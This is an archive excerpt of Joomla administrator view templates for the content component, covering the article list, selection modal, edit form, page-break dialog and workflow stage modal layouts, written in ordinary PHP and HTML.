                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_CONTENT_HEADING_DATE_' . strtoupper($orderingColumn), 'a.' . $orderingColumn, $listDirn, $listOrder); ?>
                                </th>
                                <?php if ($this->hits) : ?>
                                    <th scope="col" class="w-3 d-none d-lg-table-cell text-center">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_HITS', 'a.hits', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <?php if ($this->vote) : ?>
                                    <th scope="col" class="w-3 d-none d-md-table-cell text-center">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_VOTES', 'rating_count', $listDirn, $listOrder); ?>
                                    </th>
                                    <th scope="col" class="w-3 d-none d-md-table-cell text-center">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_RATINGS', 'rating', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <th scope="col" class="w-3 d-none d-lg-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody<?php if ($saveOrder) :
                            ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true"<?php
                              endif; ?>>
                        <?php foreach ($this->items as $i => $item) :
                            $item->max_ordering = 0;
                            $canEdit              = $user->authorise('core.edit', 'com_content.article.' . $item->id);
                            $canCheckin           = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || is_null($item->checked_out);
                            $canEditOwn           = $user->authorise('core.edit.own', 'com_content.article.' . $item->id) && $item->created_by == $userId;
                            $canChange            = $user->authorise('core.edit.state', 'com_content.article.' . $item->id) && $canCheckin;
                            $canExecuteTransition = $user->authorise('core.execute.transition', 'com_content.article.' . $item->id);
                            $canEditCat           = $user->authorise('core.edit', 'com_content.category.' . $item->catid);
                            $canEditOwnCat        = $user->authorise('core.edit.own', 'com_content.category.' . $item->catid) && $item->category_uid == $userId;
                            $canEditParCat        = $user->authorise('core.edit', 'com_content.category.' . $item->parent_category_id);
                            $canEditOwnParCat     = $user->authorise('core.edit.own', 'com_content.category.' . $item->parent_category_id) && $item->parent_category_uid == $userId;

                            // Transition button options
                            $options = [
                                'title' => Text::_($item->stage_title),
                                'tip_content' => Text::sprintf('JWORKFLOW', Text::_($item->workflow_title)),
                                'id' => 'workflow-' . $item->id,
                                'task' => 'articles.runTransition',
                                'disabled' => !$canExecuteTransition,
                            ];

                            if ($canExecuteTransition) {
                                $transitions = ContentHelper::filterTransitions($this->transitions, (int) $item->stage_id, (int) $item->workflow_id);

                                $transition_ids = ArrayHelper::getColumn($transitions, 'value');
                                $transition_ids = ArrayHelper::toInteger($transition_ids);

                                $dataTransitionsAttribute = 'data-transitions="' . implode(',', $transition_ids) . '"';

                                $options = array_merge($options, ['transitions' => $transitions]);
                            }

                            ?>
                            <tr class="row<?php echo $i % 2; ?>" data-draggable-group="<?php echo $item->catid; ?>"
                                <?php echo $dataTransitionsAttribute ?? '' ?>
                            >
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                                </td>
                                <td class="text-center d-none d-md-table-cell">
                                    <?php
                                    $iconClass = '';
                                    if (!$canChange) {
                                        $iconClass = ' inactive';
                                    } elseif (!$saveOrder) {
                                        $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                                    }
                                    ?>
                                    <span class="sortable-handler<?php echo $iconClass ?>">
                                        <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                    </span>
                                    <?php if ($canChange && $saveOrder) : ?>
                                        <input type="text" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                                    <?php endif; ?>
                                </td>
                                <?php if ($workflow_enabled) : ?>
                                <td class="article-stage text-center">
                                    <?php
                                    echo (new TransitionButton($options))
                                    ->render(0, $i);
                                    ?>
                                    <div class="small">
                                        <?php echo Text::_($item->stage_title); ?>
                                    </div>
                                </td>
                                <?php endif; ?>
                                <td class="text-center d-none d-md-table-cell">
                                <?php
                                    $options = [
                                        'task_prefix' => 'articles.',
                                        'disabled' => $workflow_featured || !$canChange,
                                        'id' => 'featured-' . $item->id
                                    ];

                                    echo (new FeaturedButton())
                                        ->render((int) $item->featured, $i, $options, $item->featured_up, $item->featured_down);
                                    ?>
                                </td>
                                <td class="article-status text-center">
                                <?php
                                    $options = [
                                        'task_prefix' => 'articles.',
                                        'disabled' => $workflow_state || !$canChange,
                                        'id' => 'state-' . $item->id,
                                        'category_published' => $item->category_published
                                    ];

                                    echo (new PublishedButton())->render((int) $item->state, $i, $options, $item->publish_up, $item->publish_down);
                                    ?>
                                </td>
                                <th scope="row" class="has-context">
                                    <div class="break-word">
                                        <?php if ($item->checked_out) : ?>
                                            <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'articles.', $canCheckin); ?>
                                        <?php endif; ?>
                                        <?php if ($canEdit || $canEditOwn) : ?>
                                            <a href="<?php echo Route::_('index.php?option=com_content&task=article.edit&id=' . $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                                <?php echo $this->escape($item->title); ?></a>
                                        <?php else : ?>
                                            <span title="<?php echo Text::sprintf('JFIELD_ALIAS_LABEL', $this->escape($item->alias)); ?>"><?php echo $this->escape($item->title); ?></span>
                                        <?php endif; ?>
                                        <div class="small break-word">
                                            <?php if (empty($item->note)) : ?>
                                                <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
                                            <?php else : ?>
                                                <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
                                            <?php endif; ?>
                                        </div>
                                        <div class="small">
                                            <?php
                                            $ParentCatUrl = Route::_('index.php?option=com_categories&task=category.edit&id=' . $item->parent_category_id . '&extension=com_content');
                                            $CurrentCatUrl = Route::_('index.php?option=com_categories&task=category.edit&id=' . $item->catid . '&extension=com_content');
                                            $EditCatTxt = Text::_('COM_CONTENT_EDIT_CATEGORY');
                                            echo Text::_('JCATEGORY') . ': ';
                                            if ($item->category_level != '1') :
                                                if ($item->parent_category_level != '1') :
                                                    echo ' &#187; ';
                                                endif;
                                            endif;
                                            if ($this->getLanguage()->isRtl()) {
                                                if ($canEditCat || $canEditOwnCat) :
                                                    echo '<a href="' . $CurrentCatUrl . '" title="' . $EditCatTxt . '">';
                                                endif;
                                                echo $this->escape($item->category_title);
                                                if ($canEditCat || $canEditOwnCat) :
                                                    echo '</a>';
                                                endif;
                                                if ($item->category_level != '1') :
                                                    echo ' &#171; ';
                                                    if ($canEditParCat || $canEditOwnParCat) :
                                                        echo '<a href="' . $ParentCatUrl . '" title="' . $EditCatTxt . '">';
                                                    endif;
                                                    echo $this->escape($item->parent_category_title);
                                                    if ($canEditParCat || $canEditOwnParCat) :
                                                        echo '</a>';
                                                    endif;
                                                endif;
                                            } else {
                                                if ($item->category_level != '1') :
                                                    if ($canEditParCat || $canEditOwnParCat) :
                                                        echo '<a href="' . $ParentCatUrl . '" title="' . $EditCatTxt . '">';
                                                    endif;
                                                    echo $this->escape($item->parent_category_title);
                                                    if ($canEditParCat || $canEditOwnParCat) :
                                                        echo '</a>';
                                                    endif;
                                                    echo ' &#187; ';
                                                endif;
                                                if ($canEditCat || $canEditOwnCat) :
                                                    echo '<a href="' . $CurrentCatUrl . '" title="' . $EditCatTxt . '">';
                                                endif;
                                                echo $this->escape($item->category_title);
                                                if ($canEditCat || $canEditOwnCat) :
                                                    echo '</a>';
                                                endif;
                                            }
                                            if ($item->category_published < '1') :
                                                echo $item->category_published == '0' ? ' (' . Text::_('JUNPUBLISHED') . ')' : ' (' . Text::_('JTRASHED') . ')';
                                            endif;
                                            ?>
                                        </div>
                                    </div>
                                </th>
                                <td class="small d-none d-md-table-cell">
                                    <?php echo $this->escape($item->access_level); ?>
                                </td>
                                <td class="small d-none d-md-table-cell">
                                    <?php if ((int) $item->created_by != 0) : ?>
                                        <a href="<?php echo Route::_('index.php?option=com_users&task=user.edit&id=' . (int) $item->created_by); ?>">
                                            <?php echo $this->escape($item->author_name); ?>
                                        </a>
                                    <?php else : ?>
                                        <?php echo Text::_('JNONE'); ?>
                                    <?php endif; ?>
                                    <?php if ($item->created_by_alias) : ?>
                                        <div class="smallsub"><?php echo Text::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->created_by_alias)); ?></div>
                                    <?php endif; ?>
                                </td>
                                <?php if ($assoc) : ?>
                                    <td class="d-none d-md-table-cell">
                                        <?php if ($item->association) : ?>
                                            <?php echo HTMLHelper::_('contentadministrator.association', $item->id); ?>
                                        <?php endif; ?>
                                    </td>
                                <?php endif; ?>
                                <?php if (Multilanguage::isEnabled()) : ?>
                                    <td class="small d-none d-md-table-cell">
                                        <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                                    </td>
                                <?php endif; ?>
                                <td class="small d-none d-md-table-cell text-center">
                                    <?php
                                    $date = $item->{$orderingColumn};
                                    echo $date > 0 ? HTMLHelper::_('date', $date, Text::_('DATE_FORMAT_LC4')) : '-';
                                    ?>
                                </td>
                                <?php if ($this->hits) : ?>
                                    <td class="d-none d-lg-table-cell text-center">
                                        <span class="badge bg-info">
                                            <?php echo (int) $item->hits; ?>
                                        </span>
                                    </td>
                                <?php endif; ?>
                                <?php if ($this->vote) : ?>
                                    <td class="d-none d-md-table-cell text-center">
                                        <span class="badge bg-success">
                                            <?php echo (int) $item->rating_count; ?>
                                        </span>
                                    </td>
                                    <td class="d-none d-md-table-cell text-center">
                                        <span class="badge bg-warning text-dark">
                                            <?php echo (int) $item->rating; ?>
                                        </span>
                                    </td>
                                <?php endif; ?>
                                <td class="d-none d-lg-table-cell">
                                    <?php echo (int) $item->id; ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                    <?php // Load the batch processing form. ?>
                    <?php
                    if (
                        $user->authorise('core.create', 'com_content')
                        && $user->authorise('core.edit', 'com_content')
                        && $user->authorise('core.edit.state', 'com_content')
                    ) : ?>
                        <?php echo HTMLHelper::_(
                            'bootstrap.renderModal',
                            'collapseModal',
                            [
                                'title'  => Text::_('COM_CONTENT_BATCH_OPTIONS'),
                                'footer' => $this->loadTemplate('batch_footer'),
                            ],
                            $this->loadTemplate('batch_body')
                        ); ?>
                    <?php endif; ?>
                <?php endif; ?>

                <?php if ($workflow_enabled) : ?>
                <input type="hidden" name="transition_id" value="">
                <?php endif; ?>

                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
articles/emptystate.php000064400000001617151727242140011274 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_CONTENT',
    'formURL'    => 'index.php?option=com_content&view=articles',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Adding_a_new_article',
    'icon'       => 'icon-copy article',
];

$user = Factory::getApplication()->getIdentity();

if ($user->authorise('core.create', 'com_content') || count($user->getAuthorisedCategories('com_content', 'core.create')) > 0) {
    $displayData['createURL'] = 'index.php?option=com_content&task=article.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
articles/modal.php000064400000020223151727242140010163 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\Component\Content\Site\Helper\RouteHelper;

$app = Factory::getApplication();

if ($app->isClient('site')) {
    Session::checkToken('get') or die(Text::_('JINVALID_TOKEN'));
}

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('core')
    ->useScript('multiselect')
    ->useScript('com_content.admin-articles-modal');

$function  = $app->getInput()->getCmd('function', 'jSelectArticle');
$editor    = $app->getInput()->getCmd('editor', '');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$onclick   = $this->escape($function);
$multilang = Multilanguage::isEnabled();

if (!empty($editor)) {
    // This view is used also in com_menus. Load the xtd script only if the editor is set!
    $this->document->addScriptOptions('xtd-articles', ['editor' => $editor]);
    $onclick = "jSelectArticle";
}
?>
<div class="container-popup">

    <form action="<?php echo Route::_('index.php?option=com_content&view=articles&layout=modal&tmpl=component&function=' . $function . '&' . Session::getFormToken() . '=1&editor=' . $editor); ?>" method="post" name="adminForm" id="adminForm">

        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>

        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <table class="table table-sm">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_CONTENT_ARTICLES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <th scope="col" class="w-1 text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="title">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
                        </th>
                        <?php if ($multilang) : ?>
                            <th scope="col" class="w-15">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language', $listDirn, $listOrder); ?>
                            </th>
                        <?php endif; ?>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JDATE', 'a.created', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-1 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody>
                <?php
                $iconStates = [
                    -2 => 'icon-trash',
                    0  => 'icon-unpublish',
                    1  => 'icon-publish',
                    2  => 'icon-archive',
                ];
                ?>
                <?php foreach ($this->items as $i => $item) : ?>
                    <?php if ($item->language && $multilang) {
                        $tag = strlen($item->language);
                        if ($tag == 5) {
                            $lang = substr($item->language, 0, 2);
                        } elseif ($tag == 6) {
                            $lang = substr($item->language, 0, 3);
                        } else {
                            $lang = '';
                        }
                    } elseif (!$multilang) {
                        $lang = '';
                    }
                    ?>
                    <tr class="row<?php echo $i % 2; ?>">
                        <td class="text-center">
                            <span class="tbody-icon">
                                <span class="<?php echo $iconStates[$this->escape($item->state)]; ?>" aria-hidden="true"></span>
                            </span>
                        </td>
                        <th scope="row">
                            <?php $attribs = 'data-function="' . $this->escape($onclick) . '"'
                                . ' data-id="' . $item->id . '"'
                                . ' data-title="' . $this->escape($item->title) . '"'
                                . ' data-cat-id="' . $this->escape($item->catid) . '"'
                                . ' data-uri="' . $this->escape(RouteHelper::getArticleRoute($item->id, $item->catid, $item->language)) . '"'
                                . ' data-language="' . $this->escape($lang) . '"';
                            ?>
                            <a class="select-link" href="javascript:void(0)" <?php echo $attribs; ?>>
                                <?php echo $this->escape($item->title); ?>
                            </a>
                            <div class="small break-word">
                                <?php if (empty($item->note)) : ?>
                                    <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
                                <?php else : ?>
                                    <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
                                <?php endif; ?>
                            </div>
                            <div class="small">
                                <?php echo Text::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
                            </div>
                        </th>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $this->escape($item->access_level); ?>
                        </td>
                        <?php if ($multilang) : ?>
                            <td class="small">
                                <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                            </td>
                        <?php endif; ?>
                        <td class="small d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('date', $item->created, Text::_('DATE_FORMAT_LC4')); ?>
                        </td>
                        <td class="small d-none d-md-table-cell">
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
                </tbody>
            </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <input type="hidden" name="forcedLanguage" value="<?php echo $app->getInput()->get('forcedLanguage', '', 'CMD'); ?>">
        <?php echo HTMLHelper::_('form.token'); ?>

    </form>
</div>
articles/default_batch_footer.php000064400000001345151727242140013236 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_content.admin-articles-batch');

?>
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" id='batch-submit-button-id' class="btn btn-success" data-submit-task='article.batch'>
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
article/modal.php000064400000000601151727242140007776 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="container-popup">
    <?php $this->setLayout('edit'); ?>
    <?php echo $this->loadTemplate(); ?>
</div>
article/edit.php000064400000021114151727242140007631 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

/** @var \Joomla\Component\Content\Administrator\View\Article\HtmlView $this */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\Registry\Registry;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->getRegistry()->addExtensionRegistryFile('com_contenthistory');
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useScript('com_contenthistory.admin-history-versions');

$this->configFieldsets  = ['editorConfig'];
$this->hiddenFieldsets  = ['basic-limited'];
$fieldsetsInImages = ['image-intro', 'image-full'];
$fieldsetsInLinks = ['linka', 'linkb', 'linkc'];
$this->ignore_fieldsets = array_merge(['jmetadata', 'item_associations'], $fieldsetsInImages, $fieldsetsInLinks);
$this->useCoreUI = true;

// Create shortcut to parameters.
$params = clone $this->state->get('params');
$params->merge(new Registry($this->item->attribs));

$input = Factory::getApplication()->getInput();

$assoc              = Associations::isEnabled();
$showArticleOptions = $params->get('show_article_options', 1);

if (!$assoc || !$showArticleOptions) {
    $this->ignore_fieldsets[] = 'frontendassociations';
}

if (!$showArticleOptions) {
    // Ignore fieldsets inside Options tab
    $this->ignore_fieldsets = array_merge($this->ignore_fieldsets, ['attribs', 'basic', 'category', 'author', 'date', 'other']);
}

// In case of modal
$isModal = $input->get('layout') === 'modal';
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
?>
<form action="<?php echo Route::_('index.php?option=com_content&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" aria-label="<?php echo Text::_('COM_CONTENT_FORM_TITLE_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">
    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'general', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'general', Text::_('COM_CONTENT_ARTICLE_CONTENT')); ?>
        <div class="row">
            <div class="col-lg-9">
                <div>
                    <fieldset class="adminform">
                        <?php echo $this->form->getLabel('articletext'); ?>
                        <?php echo $this->form->getInput('articletext'); ?>
                    </fieldset>
                </div>
            </div>
            <div class="col-lg-3">
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
        </div>

        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php // Do not show the images and links options if the edit form is configured not to. ?>
        <?php if ($params->get('show_urls_images_backend') == 1) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'images', Text::_('COM_CONTENT_FIELDSET_URLS_AND_IMAGES')); ?>
            <div class="row">
                <div class="col-12 col-lg-6">
                <?php foreach ($fieldsetsInImages as $fieldset) : ?>
                    <fieldset id="fieldset-<?php echo $fieldset; ?>" class="options-form">
                        <legend><?php echo Text::_($this->form->getFieldsets()[$fieldset]->label); ?></legend>
                        <div>
                        <?php echo $this->form->renderFieldset($fieldset); ?>
                        </div>
                    </fieldset>
                <?php endforeach; ?>
                </div>
                <div class="col-12 col-lg-6">
                <?php foreach ($fieldsetsInLinks as $fieldset) : ?>
                    <fieldset id="fieldset-<?php echo $fieldset; ?>" class="options-form">
                        <legend><?php echo Text::_($this->form->getFieldsets()[$fieldset]->label); ?></legend>
                        <div>
                        <?php echo $this->form->renderFieldset($fieldset); ?>
                        </div>
                    </fieldset>
                <?php endforeach; ?>
                </div>
            </div>

            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>

        <?php // Do not show the publishing options if the edit form is configured not to. ?>
        <?php if ($params->get('show_publishing_options', 1) == 1) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'publishing', Text::_('COM_CONTENT_FIELDSET_PUBLISHING')); ?>
            <div class="row">
                <div class="col-12 col-lg-6">
                    <fieldset id="fieldset-publishingdata" class="options-form">
                        <legend><?php echo Text::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></legend>
                        <div>
                        <?php echo LayoutHelper::render('joomla.edit.publishingdata', $this); ?>
                        </div>
                    </fieldset>
                </div>
                <div class="col-12 col-lg-6">
                    <fieldset id="fieldset-metadata" class="options-form">
                        <legend><?php echo Text::_('JGLOBAL_FIELDSET_METADATA_OPTIONS'); ?></legend>
                        <div>
                        <?php echo LayoutHelper::render('joomla.edit.metadata', $this); ?>
                        </div>
                    </fieldset>
                </div>
            </div>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php if (!$isModal && $assoc && $params->get('show_associations_edit', 1) == 1) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'associations', Text::_('JGLOBAL_FIELDSET_ASSOCIATIONS')); ?>
            <fieldset id="fieldset-associations" class="options-form">
            <legend><?php echo Text::_('JGLOBAL_FIELDSET_ASSOCIATIONS'); ?></legend>
            <div>
            <?php echo LayoutHelper::render('joomla.edit.associations', $this); ?>
            </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php elseif ($isModal && $assoc) : ?>
            <div class="hidden"><?php echo LayoutHelper::render('joomla.edit.associations', $this); ?></div>
        <?php endif; ?>

        <?php if ($this->canDo->get('core.admin') && $params->get('show_configure_edit_options', 1) == 1) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'editor', Text::_('COM_CONTENT_SLIDER_EDITOR_CONFIG')); ?>
            <fieldset id="fieldset-editor" class="options-form">
                <legend><?php echo Text::_('COM_CONTENT_SLIDER_EDITOR_CONFIG'); ?></legend>
                <div class="form-grid">
                <?php echo $this->form->renderFieldset('editorConfig'); ?>
                </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php if ($this->canDo->get('core.admin') && $params->get('show_permissions', 1) == 1) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'permissions', Text::_('COM_CONTENT_FIELDSET_RULES')); ?>
            <fieldset id="fieldset-rules" class="options-form">
                <legend><?php echo Text::_('COM_CONTENT_FIELDSET_RULES'); ?></legend>
                <div>
                <?php echo $this->form->getInput('rules'); ?>
                </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

        <?php // Creating 'id' hiddenField to cope with com_associations sidebyside loop ?>
        <?php if ($params->get('show_publishing_options', 1) == 0) : ?>
            <?php $hidden_fields = $this->form->getInput('id'); ?>
            <div class="hidden"><?php echo $hidden_fields; ?></div>
        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="return" value="<?php echo $input->getBase64('return'); ?>">
        <input type="hidden" name="forcedLanguage" value="<?php echo $input->get('forcedLanguage', '', 'cmd'); ?>">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
article/edit.xml000064400000000530151727242140007641 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_ARTICLE_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_CONTENT_ARTICLE_VIEW_EDIT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="id"
				type="hidden"
				default="0"
			/>
		</fields>
	</fieldset>
</metadata>
article/pagebreak.php000064400000003133151727242140010626 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_content.admin-article-pagebreak');

$this->eName = Factory::getApplication()->getInput()->getCmd('e_name', '');
$this->eName = preg_replace('#[^A-Z0-9\-\_\[\]]#i', '', $this->eName);
$this->document->setTitle(Text::_('COM_CONTENT_PAGEBREAK_DOC_TITLE'));

?>
<div class="container-popup">
    <form>
        <div class="control-group">
            <div class="control-label">
                <label for="title"><?php echo Text::_('COM_CONTENT_PAGEBREAK_TITLE'); ?></label>
            </div>
            <div class="controls">
                <input class="form-control" type="text" id="title" name="title">
            </div>
        </div>
        <div class="control-group">
            <div class="control-label">
                <label for="alias"><?php echo Text::_('COM_CONTENT_PAGEBREAK_TOC'); ?></label>
            </div>
            <div class="controls">
                <input class="form-control" type="text" id="alt" name="alt">
            </div>
        </div>

        <button onclick="insertPagebreak('<?php echo $this->eName; ?>');" class="btn btn-success">
            <?php echo Text::_('COM_CONTENT_PAGEBREAK_INSERT_BUTTON'); ?>
        </button>

    </form>
</div>
featured/default_stage_footer.php000064400000001330151727242140013243 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_content.admin-articles-stage');

?>
<button class="btn btn-secondary" type="button" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button id="stage-submit-button-id" class="btn btn-success" type="button" data-submit-task="">
    <?php echo Text::_('JGLOBAL_STAGE_PROCESS'); ?>
</button>
featured/default_stage_body.php000064400000001071151727242140012704 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>

<div class="container">
    <div class="row">
        <div class="col-12">
            <p><?php echo Text::_('COM_CONTENT_CHANGE_STAGE_AMBIGUOUS_TRANSITIONS'); ?></p>
        </div>
        <div class="col-12" id="stageModal-content">
        </div>
    </div>
</div>
